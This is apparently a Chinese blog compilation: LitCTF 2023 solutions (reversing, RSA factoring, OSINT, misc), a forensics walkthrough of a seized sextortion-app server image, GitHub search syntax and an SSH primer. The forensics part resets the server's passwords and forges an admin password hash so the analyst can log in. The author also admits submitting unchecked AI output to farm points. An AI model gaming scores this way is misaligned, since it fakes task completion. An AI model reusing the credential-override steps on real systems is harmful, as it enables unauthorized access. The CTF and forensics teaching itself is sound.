strcpy((char *)v8, “E}J]OrQF[V8zV:hzpV}fVF[t"); v8[13] = 0; v9 = 0; v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; printf("Enter The Right FLAG:"); scanf("%s", Str1); XOR(Str1, 3); if ( !strcmp(Str1, (const char *)v8) ) { printf("U Saved IT!\n"); return 0; } else { printf("Wrong!Try again!\n"); return main((int)Format, (const char **)Str2, v6); } } 对代码进行分析发现是将值E}J]OrQF[V8zV:hzpV}fVF[t给了v8,分析关键的异或函数,双击进入XOR(Str1, 3);
size_t __cdecl XOR(char *Str, int a2)
{
size_t result; // eax
unsigned int i; // [esp+2Ch] [ebp-Ch]

for ( i = 0; ; ++i )
{
result = strlen(Str);
if ( i >= result )
break;
Str[i] ^= 3 * a2; //异或的规则
}
return result;
}

根据代码,用chatgpt写下脚本,

a = “E}J]OrQF[V8zV:hzpV}fVF[t”
b = “”
for c in a:
b += chr(ord(c) ^ 9)
print(b)

跑一下flag就出来了

img

snake

附件是个pyc文件,使用 uncompyle6 对pyc进行反编译,但是报错,

img

google后明白了原因:是因为pyc文件的文件头magic number没有对上,需要加上magic number,并且不同python版本的magic number也不同。

如何寻找pyc的magic number以及如何添加magic number,

参考这篇文章 https://blog.csdn.net/qq_44808585/article/details/104148402

根据文章方法查看到该python版本的magic number,然后使用winhex添加上magic number反编译成功。在代码中找到有关flag的那段程序,运行后得到flag

flag = [
30, 196,
52, 252, 49, 220, 7, 243,
3, 241, 24, 224, 40, 230,
25, 251, 28, 233, 40, 237,
4, 225, 4, 215, 40, 231,
22, 237, 14, 251, 10, 169]
for i in range(0, len(flag), 2):
flag[i], flag[i + 1] = flag[i + 1] ^ 136, flag[i] ^ 119
print(bytes(flag).decode())

img

debase64

下载附件,先用ida打开看下,能看到输入20个字符到v15,在sub_401520函数将v15转换到了v4,再拿v4和v6-v14的每个字节进行比较。根据题目和进入sub_401520也可以基本确定sub_401520是个解base64的函数。

之后进入动态调试,步过sub_401520的时候发现这不是普通的base64。动态分析后能发现,原理是把base64解密顺序反过来了,用第四个字符左移两位,第三个字符右移四位这样。故只需写个加密脚本,手动把顺序倒过来就好。因为flag后有3个“=”,最后一位根据hint爆破即可。

import hashlib

key = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/“

for i in key:
str1 = f”Y0uReallyKn0wB4s{i}===”
if hashlib.md5(str1.encode()).hexdigest() == “5a3ebb487ad0046e52db00570339aace”:
print(str1)
break

运行下,拿到flag

img

CRYPTO

Hex?Hex!(初级)

丢到一键解码工具里

img

梦想是红色的 (初级)

一看就是社会主义核心价值观编码,找个在线解码网站,直接拿到flag

img

原来你也玩原神 (初级)

根据题目提示,这密文是原神里的东西,google找到原神中的文字为提瓦特字,并找到对应图

img

一个一个比对得到flag

你是我的关键词(Keyworld) (初级)

搜索在线 关键字解密

据题目描述推测密钥,最后得出秘钥为YOU,解密得到flag

img

家人们!谁懂啊,RSA签到都不会 (初级)

简单的rsa解密,去网上找个别人写好的脚本,

from Crypto.Util.number import *
import gmpy2
p = 12567387145159119014524309071236701639759988903138784984758783651292440613056150667165602473478042486784826835732833001151645545259394365039352263846276073
q = 12716692565364681652614824033831497167911028027478195947187437474380470205859949692107216740030921664273595734808349540612759651241456765149114895216695451
c = 108691165922055382844520116328228845767222921196922506468663428855093343772017986225285637996980678749662049989519029385165514816621011058462841314243727826941569954125384522233795629521155389745713798246071907492365062512521474965012924607857440577856404307124237116387085337087671914959900909379028727767057
e = 65537
n = pq
print(long_to_bytes(pow(c,(gmpy2.invert(e,(p-1)
(q-1))),n)))

跑一下,得到flag

img

factordb (中级)

把代码丢给ai分析一下,

n = 87924348264132406875276140514499937145050893665602592992418171647042491658461

得出需要分解一下n,

google找到在线分解数字网站http://factordb.com/ ,分解n得到两个数

275127860351348928173285174381581152299
319576316814478949870590164193048041239

img

然后就去网上找个现成脚本,一开始不能用,但是丢给ai,问几遍就可以正确运行了

from Crypto.Util.number import long_to_bytes

e = 65537
n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
c = 87677652386897749300638591365341016390128692783949277305987828177045932576708
p1 = 275127860351348928173285174381581152299
p2 = 319576316814478949870590164193048041239
phi = (p1 - 1) * (p2 - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

运行得到flag

img

yafu (中级)

下载附件发现了

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
n = 1
for i in range(15):
n *=getPrime(32)
e = 65537
c = pow(m,e,n)
print(f’n = {n}’)
print(f’c = {c}’)

又是分解n,找打个yafu工具分解n,

https://onboardcloud.dl.sourceforge.net/project/yafu/1.34/yafu-1.34.zip

在文件夹下输入cmd可进行使用,运行命令

.\yafu-x64 factor(15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307)

可得到15个数

img

分别为

P10 = 2201440207

P10 = 3354884521

P10 = 4171911923

P10 = 2719600579

P10 = 4044505687

P10 = 2758708999

P10 = 2767137487

P10 = 2585574697

P10 = 2906576131

P10 = 2315495107

P10 = 3355651511

P10 = 3989697563

P10 = 4021078331

P10 = 2151018733

P10 = 2923522073

接着使用网上的脚本进行修改计算可得,可能与其他队伍脚本相似,我们是在csdn找的脚本

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307
e = 65537
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717
p1 = 2201440207
p2 = 3354884521
p3 = 2719600579
p4 = 4171911923
p5 = 2315495107
p6 = 2758708999
p7 = 3989697563
p8 = 2923522073
p9 = 2151018733
p10 = 3355651511
p11 = 2906576131
p12 = 4044505687
p13 = 4021078331
p14 = 2585574697
p15 = 2767137487
phi = (p1 - 1) * (p2 - 1) * (p3 - 1)* (p4 - 1) * (p5 - 1)* (p6 - 1) * (p7 - 1)* (p8 - 1) * (p9 - 1)* (p10 - 1) * (p11 - 1)* (p12 - 1) * (p13 - 1)* (p14 - 1) * (p15 - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print (long_to_bytes(m))

运行结果为

img

The same common divisor (高级)

题目给了n1,n3,c1,c2,e,根据代码中n1、n2、n3的运算规则,首先求出n2

google找到其他师傅现成的脚本。跑一下,拿到flag

n1= 9852079772293301283705208653824307027320071498525390578148444258198605733768947108049676831872672654449631852459503049139275329796717506126689710613873813880735666507857022786447784753088176997374711523987152412069255685005264853118880922539048290400078105858759506186417678959028622484823376958194324034590514104266608644398160457382895380141070373685334979803658172378382884352616985632157233900719194944197689860219335238499593658894630966428723660931647038577670614850305719449893199713589368780231046895222526070730152875112477675102652862254926169713030701937231206405968412044029177246460558028793385980934233
n3= 4940268030889181135441311597961813780480775970170156650560367030148383674257975796516865571557828263935532335958510269356443566533284856608454193676600884849913964971291145182724888816164723930966472329604608512023988191536173112847915884014445539739070437180314205284883149421228744714989392788108329929896637182055266508625177260492776962915873036873839946591259443753924970795669864031580632650140641456386202636466624658715315856453572441182758855085077441336516178544978457053552156714181607801760605521338788424464551796638531143900048375037218585999440622490119344971822707261432953755569507740550277088437182
c1= 7066425618980522033304943700150361912772559890076173881522840300333719222157667104461410726444725540513601550570478331917063911791020088865705346188662290524599499769112250751103647749860198318955619903728724860941709527724500004142950768744200491448875522031555564384426372047270359602780292587644737898593450148108629904854675417943165292922990980758572264063039172969633878015560735737699147707712154627358077477591293746136250207139049702201052305840453700782016480965369600667516646007546442708862429431724013679189842300429421340122052682391471347471758814138218632022564279296594279507382548264409296929401260
c2= 854668035897095127498890630660344701894030345838998465420605524714323454298819946231147930930739944351187708040037822108105697983018529921300277486094149269105712677374751164879455815185393395371001495146490416978221501351569800028842842393448555836910486037183218754013655794027528039329299851644787006463456162952383099752894635657833907958930587328480492546831654755627949756658554724024525108575961076341962292900510328611128404001877137799465932130220386963518903892403159969133882215092783063943679288192557384595152566356483424061922742307738886179947575613661171671781544283180451958232826666741028590085269
n2 = n1^n3
e = 65537
# 正确 The same common divisor (高级)
import gmpy2
import binascii
p = gmpy2.gcd(n1,n2)
q = n1 // p #不论是用n1还是n2整除p得到的q,最后得到的都是同一个明文m
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c1,d,n1)
print(binascii.unhexlify(hex(m)[2:]))

img

Small && SEEM和探姬的游戏 && Prime

这几个直接用ai跑下代码,直接提交就行了,不管对错咋样,都是99分,能薅就薅

MISC

【Minecraft】玩的开心~~~

就进入mc服务器,一直玩,挖个钻石交换书本,flag就在书本里

签到!(初级)

关注长亭珂兰寺公众号,发送签到即可获取flag。

What_1s_BASE (初级)

base64解码得flag

img

OSINT 探姬去哪了?_0

查看图片的全部信息发现图片拍摄地点的经纬度 ,

img

先通过度分秒转度工具将度数转换为度数,

img

img

纬度:30.788508333333333

经度:120.73805555555556

然后去在线根据经纬度定位网站查询这个地点具体是什么,发现是 浙江省嘉兴市南湖区城北路728号

img

搜索该地点附近的电信公司,发现了中国电信大厦

img

flag就为 NSSCTF{中国电信大厦}

OSINT 探姬去哪了?_1

发现图片上有hacker&cratf,使用百度进行搜这个关键字,发现一个酒吧

img

则flag就是NSSCTF{黑客与精酿}

OSINT 探姬去哪了?_2

hacking club举办地点,在群里发的hacking club通知得到举办地点

https://mp.weixin.qq.com/s?__biz=MzkxMzE4MTc5Ng==&mid=2247495412&idx=1&sn=2cd1f13682b8667ac0352702648e220c&chksm=c10333fff674bae9b62c91ac1fb049673a8761eddf20e32b20063a69b4b79537fb26394b889c&mpshare=1&scene=23&srcid=0425u5AogxmMXz0LAraEKN0P&sharer_sharetime=1682411717881&sharer_shareid=f54637fbc713483f572d8b427e564fe2#rd

img

OSINT 探姬去哪了?_3

一看就是教学楼教室的门,作为探姬姬的同班同学,我直接作弊查看课表确认( ̄y▽, ̄)╭

404notfound (初级)

丢到010里,直接搜索关键字得到flag

img

OSINT 这是什么地方?!

百度搜图得到关键信息,最多的就是 这条路上的车没人敢插队,

img

google搜索,发现一个b站视频里直接说出来了答案

img

Osint小麦果汁

发现图片关键信息 hacker & craft,

img

img

百度搜索,发现是个浙江的酒吧,试了下,得到flag NSSCTF{黑客与精酿}

Take me hand (初级)

附件是个流量包,直接搜索关键字 LitCTF,看到flag

img

这羽毛球怎么只有一半啊(恼 (初级)

直接用曾哥的暴力破解png图片长宽工具一把梭哈,

img

拿到flag

img

喜欢我的压缩包么 (初级)

解压附件,发现有密码,

img

直接暴力破解,得到密码为 114514

img

解压得到flag,

img

破损的图片(初级)

使用010查看附件,通过前面的字节格式发现附件像是个png图片,但是前8个字节跟png图片的前8字节不太一样,百度搜下png图片格式

img

将附件前8字节更改后,再把附件后缀改为png,就能看到flag了

img

img

img

两仪生四象 (中级)

先将代码喂给chat,chat理解后询问它如何通过输入encoded_text输出text

chat给出代码

_hash = {“乾”: “111”, “兑”: “011”, “离”: “101”, “震”: “001”, “巽”: “110”, “坎”: “010”, “艮”: “100”, “坤”: “000”}

text = “坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑”

binary_text = “”
for c in text:
binary_text += _hash[c]

decoded_text = “”
for i in range(0, len(binary_text), 8):
decoded_text += chr(int(binary_text[i:i+8], 2))

print(decoded_text)

运行后发现是乱码,重新查看题目提供的代码,经过辨认可知题目中将9个*编码为90个二进制数字,猜测十个为一组进行修改

更改后的代码:

_hash = {“乾”: “111”, “兑”: “011”, “离”: “101”, “震”: “001”, “巽”: “110”, “坎”: “010”, “艮”: “100”, “坤”: “000”}

text = “坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑”
binary_text = “”
for c in text:
binary_text += _hash[c]
decoded_text = “”
# 将8换10
for i in range(0, len(binary_text), 10):
# 将8换10
decoded_text += chr(int(binary_text[i:i+10], 2))
print(decoded_text)

运行代码,

img

得到flag

问卷

点开题目链接,直接看到flag

NSSCTF{LitCTF_2023?It’s_time_to_g0to_zh1hu!!!}

长安杯!宝塔取证writeup

题目链接:

https://pan.baidu.com/s/1hjoleZtLvDLl4IstUq2ruQ?pwd=9f3c

案件情况:

2021年7月12日,上午8点左右,警方接到被害人张某(张有财)报案,声称自己被敲诈数万元;经询问,张某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终张某不堪重负,选择了报警;警方从张某提供的本人手机中(手机号为18805533089),定向采集到了该“裸聊”软件,通个裸聊APK软件的分析,警方找到了后台服务器地址,并调取了服务器镜像(web.E01),请各位取证工作者回答下列问题:

题目:

  1. 检材web.E01的操作系统版本是:

  2. 检材web.E01中,操作系统的内核版本是:

  3. 检材web.E01服务器中,最后一条操作命令为:

  4. 检材web.E01服务器中,远程连接服务所使用的端口号为:

  5. 该后台服务器中,在案发前,管理员最后一次登陆服务器的IP地址为:(答案格式111.111.111.111)

  6. 检材web.E01中,嫌疑人架设网站使用了何种工具架设了网站:

  7. 接上一题,请问架设网站的工具的登陆用户名为:

  8. 该后台网站对外提供服务所使用的端口号为:

  9. 该后台网站所使用的域名为(答案格式:www.abc.com):

  10. 请分析该网站的后台登陆地址的url为:

  11. 该网站后台所使用的数据库类型为:

  12. 该网站所使用的数据库的库名(database名)为:

  13. 该网站所使用的数据库的root密码为:

  14. 请计算/www/wwwroot/www.honglian7001.com/app目录下的文件"database.php"的SHA256值:

  15. 已知,该网站后台对于账号的密码采用加盐加密,该salt值为:

  16. 在对后台账号的密码加密处理过程中,后台一共计算几次MD5值:

  17. 请问,网站后台的创建时间最早的管理员账号为:

  18. 请综合分析并重构网站,本案中受害者张某的最后登陆IP是多少(答案格式111.111.111.111):

  19. 请综合分析并重构网站,本案中嫌疑人所掌握的后台共获取了多少设备记录:

  20. 请综合分析并重构网站,本案中受害者张某的手机型号在后台记录中显示为:

  21. 请综合分析并重构网站,本案中受害者张某的手机通讯录中,名为“许总”的电话号码为(不需要填写空格,答案格式:18811112222):

  22. 请综合分析并重构网站,分析该网站第一次用于诈骗活动的时间(填写到日,格式为:2000-01-01):

  23. 请综合分析并重构网站,分析该网站设定的邀请码为:

  24. 请综合分析并重构网站,分析该网站共记录的通信录数量为:

  25. 请综合分析并重构网站,分析最常登录后台的角色昵称为:

先前准备

moba连接到服务器

使用盘古石的计算机仿真取证系统将镜像仿真为虚拟机

image-20230428132428113

先查看本机VMware的虚拟网卡信息

image-20230428133940421

vi /etc/sysconfig/network-scripts/ifcfg-ens33,编辑服务器网络接口配置文件来配置服务器网络,将对应的信息更改为虚拟网卡上的信息

image-20230428131847307

passwd root 将root密码更改为root,便于moba连接

image-20230428134517300

vi /etc/ssh/sshd_config,查看ssh配置信息,发现连接ssh端口为7001

image-20230428135211944

service sshd restart ,重启ssh服务

配置好moba ssh连接信息,成功连接到服务器

image-20230428135236641

查看服务器使用的数据库类型

使用history查看服务器历史命令,发现有mysql登录以及重启操作,判定服务器使用的是mysql数据库

image-20230428170434507

查找mysql登录账号及密码

在一开始的取证系统中发现该服务器使用的网站管理工具为宝塔,

image-20230428170744699

在终端使用bt命令查看宝塔信息,这里需要操作两件事情,一个是修改面板密码,一个是查看面板默认信息,

image-20230428171145272

这里我把面板登录密码更改为 123456 ,并且知道了宝塔登录账号 yun9tinp 以及登录网址,http://192.168.184.33:8888/d42e9f35

进入宝塔后台并成功登录宝塔面板,并发现数据库root账户的密码 为 15dbefa4aae110a5

image-20230428171429981

使用Navicat常规连接服务器数据库,无法连接,

image-20230428181145089

image-20230428173816542

systemctl status mysqld 查看数据库状态,发现mysql已经dead了,systemctl restart mysqld 重启下mysql,再次查看其运行状态,发现已经是active了

image-20230428173848972

再次尝试用Navicat常规连接服务器mysql,这次还不行,但是学长却可以用常规方法连接。再试一下把常规连接信息填好,并且填好ssh连接的信息,保存。这次成功连接上了!!!

常规连接信息

ssh连接信息

重构网站

在宝塔面板-网站中看见网站的域名为 www.honglian7001.com

将服务器ip 192.168.184.33 及域名 www.honglian7001.com添加到hosts文件中,

要重构网站,查看服务器历史命令必不可少,从历史命令中看到以下比较重要的命令,依次执行,

1
2
3
4
5
systemctl stop nginx

vi /www/wwwroot/www.honglian7001.com/app/database.php //将其中的hostname更改为服务器ip地址

systemctl stop firewalld //这个是最重要的,需要关闭防火墙

重新访问 www.honglian7001.com 发现已经跟之前不一样了,

查看网站目录结构,访问www.honglian7001.com/admin ,进入到后台登录页面,但是我们不知道登录的账号密码

首先去宝塔页面将网站源码下载下来,然后在 www.honglian7001.com_Rnk8S6\www.honglian7001.com\app\admin\common.php 文件中可发现用户密码加密函数,源码如下,

1
2
3
4
function password($password, $password_code='lshi4AsSUrUOwWV')
{
return md5(md5($password) . md5($password_code));
}

根据加密函数,我们可以自己按照该规则生成一个密码为“123456”的加密值 9eb2b9ad495a75f80f9cf67ed08bbaae ,然后去 www.honglian7001 数据库中的 app_admin 表中将admin用户的密码替换掉,这样我们就将admin用户的密码更改为 123456

1
2
3
4
5
6
7
8
9
<?php
function password($password, $password_code = 'lshi4AsSUrUOwWV')
{
return md5(md5($password) . md5($password_code));
}
$a=password("123456");
echo $a;

//最后输出的结果:9eb2b9ad495a75f80f9cf67ed08bbaae

使用 admin:123456 登录后台登录窗口,完美登录!!!

下面就可以开心愉快地做题喽!

  1. 检材web.E01的操作系统版本是:CentOS Linux release 7.9.2009

    cat /etc/centos-release ,得到操作系统版本

  2. 检材web.E01中,操作系统的内核版本是:3.10.0-1160.el7.x86_64

    uname -a ,查看内核版本

  3. 检材web.E01服务器中,最后一条操作命令为:shutdown now

    这个需要去取证分析系统中查看,因为在终端里查看,历史命令包括我们配置网络时使用的命令

  4. 检材web.E01服务器中,远程连接服务所使用的端口号为:7001

    netstat -antp ,查看服务器中使用端口,ssh端口为7001,说明管理员将ssh默认端口更改了

  5. 该后台服务器中,在案发前,管理员最后一次登陆服务器的IP地址为(答案格式111.111.111.111):192.168.72.1

    last 命令查看登录信息,发现管理员最后一次登录的ip地址

  6. 检材web.E01中,嫌疑人架设网站使用了何种工具架设了网站:宝塔

    在计算机取证分析系统中,可以看到有宝塔面板的信息

  7. 接上一题,请问架设网站的工具的登陆用户名为:yun9tinp

    bt 14 ,命令查看面板默认信息,可以查看到用户名

  8. 该后台网站对外提供服务所使用的端口号为:8888

    这里说的对外提供服务,我理解的是宝塔面板后台,从第7题答案就能做出来

  9. 该后台网站所使用的域名为(答案格式:www.abc.com):***www.honglian7001.com***

    直接去宝塔管理页面查看网站信息

  10. 请分析该网站的后台登陆地址的url为:暂定

    这个后台我不太理解是宝塔还是网站的后台登录URL,不过这两个URL都是可以找到的

    宝塔后台登录URL:http://192.168.184.33:8888/d42e9f35

    网站后台登录URL:http://www.honglian7001.com/admin/common/login.shtml

  11. 该网站后台所使用的数据库类型为:mysql

    这个题目在之前分析history命令的时候就发现了,

    当然也可以直接使用 rpm -qa | grep sql 命令查看服务器安装了哪些服务,

    有mysql,有sqlite,然后结合历史命令可得网站使用的数据库就是mysql

  12. 该网站所使用的数据库的库名(database名)为:www_honglian7001

    去宝塔面板的数据库中查看

  13. 该网站所使用的数据库的root密码为:15dbefa4aae110a5

    去宝塔数据库中的root密码查看

  14. 请计算/www/wwwroot/www.honglian7001.com/app目录下的文件"database.php"的SHA256值:***091e47e4b3fcd7cd6964066e66f7035f65faf91b90de47c658e10f6b6a371924***

    将该文件下载下来,使用CertUtil -hashfile database.php SHA256命令计算文件SHA256值

  15. 已知,该网站后台对于账号的密码采用加盐加密,该salt值为:lshi4AsSUrUOwWV

    去宝塔中查看网站文件,就可以找到网站登录密码加密规则源码

  16. 在对后台账号的密码加密处理过程中,后台一共计算几次MD5值:3

    从第15题的结果分析,后台总共计算3次MD5值

  17. 请问,网站后台的创建时间最早的管理员账号为:yun9tinp

    宝塔中查看登录用户历史信息,可以找到最早登录的管理员账号

  18. 请综合分析并重构网站,本案中受害者张某的最后登陆IP是多少(答案格式111.111.111.111):192.168.1.101

  19. 请综合分析并重构网站,本案中嫌疑人所掌握的后台共获取了多少设备记录:6003

    根据第18题,可以看到 app_user 表中的用户设备记录总共6003条

  20. 请综合分析并重构网站,本案中受害者张某的手机型号在后台记录中显示为:HONOR-NTH-AN00

    仍然是根据第18题,可以看到受害者的手机型号

  21. 请综合分析并重构网站,本案中受害者张某的手机通讯录中,名为“许总”的电话号码为(不需要填写空格,答案格式:18811112222):139 1796 5858

    在第20题中可以看到受害者张某的用户id为 8059,然后在网站中app_mobile表中根据 user_id 查询受害人手机中的通讯录中叫“许总”的电话

  22. 请综合分析并重构网站,分析该网站第一次用于诈骗活动的时间(填写到日,格式为:2000-01-01):2020-05-27

    查看app_user表,降序排列 login_time ,发现最早登录的时间戳为 1607619794

    时间戳转换为北京时间为 2020-12-11

    但是这就是网站第一次诈骗时间吗?不一定的,还需要看一遍数据库中其他地方的诈骗时间,进行比较

    在app_content 表中发现有条诈骗信息的发送时间为 2020-05-27 ,这个比 2020-12-11 更早,所以正确答案应该是前者

  23. 请综合分析并重构网站,分析该网站设定的邀请码为: 700001

    登录到网站后台,就可以看到网站设定的邀请码了

  24. 请综合分析并重构网站,分析该网站共记录的通信录数量为:1145085

    从app_mobile表中可以看到通讯录总数量

  25. 请综合分析并重构网站,分析最常登录后台的角色昵称为:zz43
    在app_admin 表中将thumb进行降序排列,第一个就是登录次数最多的用户信息,可看到其用户名

Github搜索技巧

近日,GitHub推出了全新的查询语法 ,类似于fofa,shodan,zoomeye这些搜索引擎

官方语法如下:

基本搜索

语法例子 说明
cat stars:>100 查找拥有100颗以上收藏的包含”猫”存储库
user:defunkt 获取用户defunkt的所有存储库
tom location:”San Francisco, CA” 查找所有位于“San Francisco, CA”的tom用户
join extension:coffee 查找所有在代码中使用coffee扩展的join实例
NOT cat 排除所有包含cat的结果

存储库搜索

存储库搜索会浏览在GitHub上有权访问的项目(。你也可以筛选结果

语法例子 说明
cat stars:>100 查找拥有100颗以上收藏的包含”猫”存储库
user:defunkt 获取用户defunkt的所有存储库
pugs pushed:>2013-01-28 查找自2013年1月28日以来推送的Pugs存储库
node.js forks:<200 查找所有拥有少于200个分支的node.js存储库
jquery size:1024..4089 查找大小在1024和4089kb之间的jquery存储库
gitx fork:true 存储库搜索包括gitx的分支
gitx fork:only 存储库搜索仅返回gitx的分支

代码搜索

代码搜索会浏览托管在GitHub上的文件

语法例子 说明
install repo:charles/privaterepo 在charles/privaterepo存储库中的代码中查找所有install的实例。
shogun user:heroku 查找所有公共heroku存储库中与shogun相关的引用
join extension:coffee 查找所有扩展名为coffee的代码中join的实例
system size:>1000 查找文件大小大于1000kbs的代码中所有system的实例
examples path:/docs/ 在/docs/路径中查找所有示例
replace fork:true 在分支的源代码中搜索replace

问题搜索

问题搜索可以查看 GitHub 上的问题和拉取请求

语法例子 说明
encoding user:heroku Heroku组织中的encoding问题
cat is:open 查找cat的opne问题
strange comments:>42 有超过 42 条评论的问题
hard label:bug 标记为 bug 的困难问题
author:mojombo 所有由 mojombo 编写的问题
mentions:tpope 提到 tpope 的所有问题
assignee:rtomayko 所有分配给 rtomayko 的问题
exception created:>2012-12-31 自 2013 年初以来异常问题
exception updated:<2013-01-01 在 2013 年之前的异常问题

用户搜索

用户搜索是指在GitHub上查找具有账户的用户

语法例子 说明
fullname:”凌风子虚” 查找全名为”凌风子虚”的用户
tom location:”San Francisco, CA” 查找在”San Francisco, CA”的所有tom用户
chris followers:100..200 查找其粉丝数在100到200之间的所有chris用户
ryan repos:>10 查找其仓库数量超过10个的所有ryan用户

ssh原理及使用

SSH简介

安全外壳协议(Secure Shell Protocol,简称SSH)是一种建立在应用层基础上的加密的网络传输协议,主要用来在客户端和服务器之间建立安全通信隧道。使用SSH进行远程登录,信息传输是加密的,即使信息被中途截获也不会泄露。

1
2
注:
* SSH仅仅是一个协议标准,其具体的实现有很多,既有开源实现的OpenSSH,也有商业实现方案。使用范围最广泛的当然是开源实现OpenSSH。

Linux下安装SSH Server

使用SSH时,被登录的主机需要安装并运行SSH Server。SSH实现有很多种,比如在Linux中可以用 OpenSSH:

1
2
3
4
sudo systemctl status ssh # 可以查看系统是否有ssh server可用
sudo apt-get install openssh-server #安装openssh
sudo systemctl enable ssh
sudo systemctl start ssh

数据加密方式

对数据进行加密的方式主要有两种:对称加密(密钥加密)和非对称加密(公钥加密)。

对称加密指加密解密使用的是同一套秘钥。Client端把密钥加密后发送给Server端,Server用同一套密钥解密。对称加密的加密强度比较高,很难破解。但是,Client数量庞大,很难保证密钥不泄漏。如果有一个Client端的密钥泄漏,那么整个系统的安全性就存在严重的漏洞。为了解决对称加密的漏洞,于是就产生了非对称加密。非对称加密有两个密钥:“公钥”和“私钥”。公钥加密后的密文,只能通过对应的私钥进行解密。想从公钥推理出私钥几乎不可能,所以非对称加密的安全性比较高。

SSH的加密原理中,使用了RSA非对称加密算法。

SSH工作原理

SSH 协议是基于客户端-服务器模型的,其工作过程如下:

  1. 客户端发起连接请求:首先,用户需要启动一个 SSH 客户端程序,并向服务器发起 SSH 连接请求。连接请求包含服务器的 IP 地址和用户的登录凭据(用户名和密码或 SSH 密钥)。

  2. 服务器响应连接请求:一旦服务器收到连接请求,它会检查用户提供的登录凭据。如果凭据验证成功,服务器就会向客户端发送加密的连接确认信息。

  3. 客户端和服务器建立加密连接:在收到连接确认信息后,客户端会生成一个随机的会话密钥,用于加密通信。然后,客户端会向服务器发送一个加密的请求,包含会话密钥和其他的连接信息。

  4. SSH 会话开始:一旦客户端和服务器成功建立加密连接,SSH 会话就开始了。在会话期间,客户端可以向服务器发送各种命令和数据,并接收服务器的响应。所有的通信都经过密钥加密,以确保数据安全。

  5. SSH 会话结束:当用户关闭 SSH 客户端程序时,SSH 会话就会结束。客户端程序会清除会话密钥和其他的临时数据,以确保不会有敏感信息留存在客户端。

img

远程登录模型

ssh安全验证原理,简单来说就是SSH Server会有一对密钥,公有密钥(PubKey)和私有密钥(PriKey)。当客户端用户请求连接服务器的ssh时,服务器会把公有密钥作为回应发送给请求连接的用户,私有密钥只在本地保管。然后客户端拿到公有密钥后用其加密目标用户的密码发送给服务器,服务器完成验证后建立连接。

客户端需发送以下命令并输入用户user123的密码即可:

1
ssh user123@server

大致过程如下图所示:

img

整个过程是这样的:
(1)远程主机收到用户的登录请求,把自己的公钥发给用户。
(2)用户使用这个公钥,将登录密码加密后,发送回来。
(3)远程主机用自己的私钥,解密登录密码,如果密码正确,就同意用户登录。

口令登录

客户端输入以下命令,

1
ssh user123@192.168.254.128

如果是客户端第一次连接服务器,那么在执行上述命令后,客户端会显示

1
2
3
4
The authenticity of host '192.168.254.128 (192.168.254.128)' can't be established.
ED25519 key fingerprint is SHA256:TRtIeYojTIb5o/2C2k8VRN7HrQ3xA8NioVO4H418ykM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])?

并且在输入 yes 之后,经过比对后,如果用户接受这个远程主机的公钥,系统会出现一句提示语: Warning: Permanently added ‘192.168.254.128’ (ED25519) to the list of known hosts.

输入 yes 之后,就能连接到远程服务器了。

公钥登录

使用密码登录,每次都必须输入密码,非常麻烦。好在SSH还提供了公钥登录,可以省去输入密码的步骤。

所谓”公钥登录”,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求输入密码。

这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:

$ssh-keygen

演示口令登录

演示公钥登录

安全性问题:

中间人攻击”(Man-in-the-middle attack)

SSH之所以能够保证安全,原因在于它采用了公钥加密,这个过程本身是安全的,但是实际用的时候存在一个风险:

如果攻击者插在用户与远程主机之间(比如在公共的wifi区域),用伪造的公钥,获取用户的加密登录密码,再用自己的私钥解密成明文,用这个密码登录远程主机,那么SSH的安全机制就不存在了。

如图:

img

ssh针对中间人攻击的解决方法:

1
2
3
* 私有密钥是只有server才有的,也就是即使中间有人截获了步骤3中client发送的带有password信息的包,也没有办法破解得知user123的密码。

* 但是有可能有攻击者可以截获步骤1 client发送的请求包,从而伪装成 server发送自己的PubKey_attacker,然后 client 再向其发送自己用PubKey_attacker加密的password,就会被攻击者用PriKey_attacker 解密,从而得到password明文密码。所以一般要求用户在收到PubKey 时自行对比验证发送该公有密钥的主机是已知的安全主机。这就是为什么我们会看到 Are you sure you want to continue connecting (yes/no)?。 信任的主机一般都保存在$HOME/.ssh/known_hosts文件中。

复活Google翻译

近期发现我Google浏览器的Google翻译无法使用了(经常的毛病),于是就试着找下Google翻译一些可用IP,然后将这些IP添加到hosts文件中,Google翻译就完美复活了。妈妈再也不用担心Google翻译I无法使用啦(这么多IP,Google翻译稳定性将会大大滴提高🥳🥳)♪(´▽`)

1
2
3
注:什么是hosts文件

